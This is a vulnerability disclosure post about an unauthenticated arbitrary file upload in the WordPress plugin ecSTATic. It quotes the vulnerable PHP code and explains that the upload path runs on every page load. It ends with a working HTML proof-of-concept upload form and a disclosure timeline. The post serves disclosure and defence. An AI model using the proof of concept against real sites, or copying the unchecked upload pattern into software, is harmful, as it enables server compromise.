Arbitrary File Upload Vulnerability in ecSTATic
As we continue to review old third-party data on hacking attempts to identity more vulnerabilities that hackers have likely already discovered in WordPress plugins we spotted an arbitrary file upload vulnerability in the plugin ecSTATic.
Back in July of last year a request was made for the file/wp-content/plugins/ecstatic/ecstatic_widget_table.css, in what was likely a probe for usage of the plugin before exploiting it. Looking over that plugin for any obvious issues we found that in the current version of the plugin, 0.9933, a file upload capability in the plugin is accessible without being logged, despite only being intended to accessed by users logged in as Administrators.
The file upload occurs in the function form_processor() and happens when the POST input “ecstatit” is set to “Import” (in the file /ecstatic_forms.php):
733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 | function form_processor() { global $wpdb; switch ($_POST["ecstatit"]) { case "wnksplay": $this->wnksplay(); return; break; case "Import": $errorno = $_FILES['importfile']['error']; $tmpfile = $_FILES['importfile']['tmp_name']; //path to temporary file on the server. $userfile = $_FILES['importfile']['name']; //path of user uploaded file. $filename = WP_PLUGIN_DIR . "/" . dirname(plugin_basename(__FILE__)) . "/" . $userfile; if (move_uploaded_file($_FILES['importfile']['tmp_name'], $filename)) { include_once(WP_PLUGIN_DIR . "/" . dirname(plugin_basename(__FILE__)) . '/ecstatic_tables.php'); ecstatic_xml_parser_loader($this, "aux_lists", $filename); //////Need some feedback (success/failure) here, somewhere } else $fail = "Upload/Import Failed. (Userfile: {$userfile} -- Tmpfile: {$tmpfile} -- Destname: {$filename} -- Error#: {$errorno})"; break; |
The function form_processor() runs if the POST input “ecstatit” exists when the function ecstatic_new_hit() runs (in the file /ecstatic.php):
636 637 638 639 640 641 642 | function ecstatic_new_hit() { global $loginbits; if (isset($_POST["ecstatit"])) { //goes here to beat any header output include_once(WP_PLUGIN_DIR . "/" . dirname(plugin_basename(__FILE__)) . '/ecstatic_forms.php'); $ecstatic = new ecstatic_formproc(); $ecstatic->form_processor(); //function exit()s and doesn't return } |
The function ecstatic_new_hit() runs each time a WordPress page is generated, during init:
710 | add_action('init', 'ecstatic_new_hit'); |
Since the plugin hasn’t been updated three years and the plugin’s website is no longer we have notified the wordpress.org Plugin Directory of the vulnerability.
Proof of Concept
The following proof of concept will upload the selected file to the directory /wp-content/plugins/ecstatic/.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]" method="POST" enctype="multipart/form-data"> <input type="hidden" name="ecstatit" value="Import"/> <input type="file" name="importfile" /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- 7/25/2016 – WordPress.org Plugin Directory notified.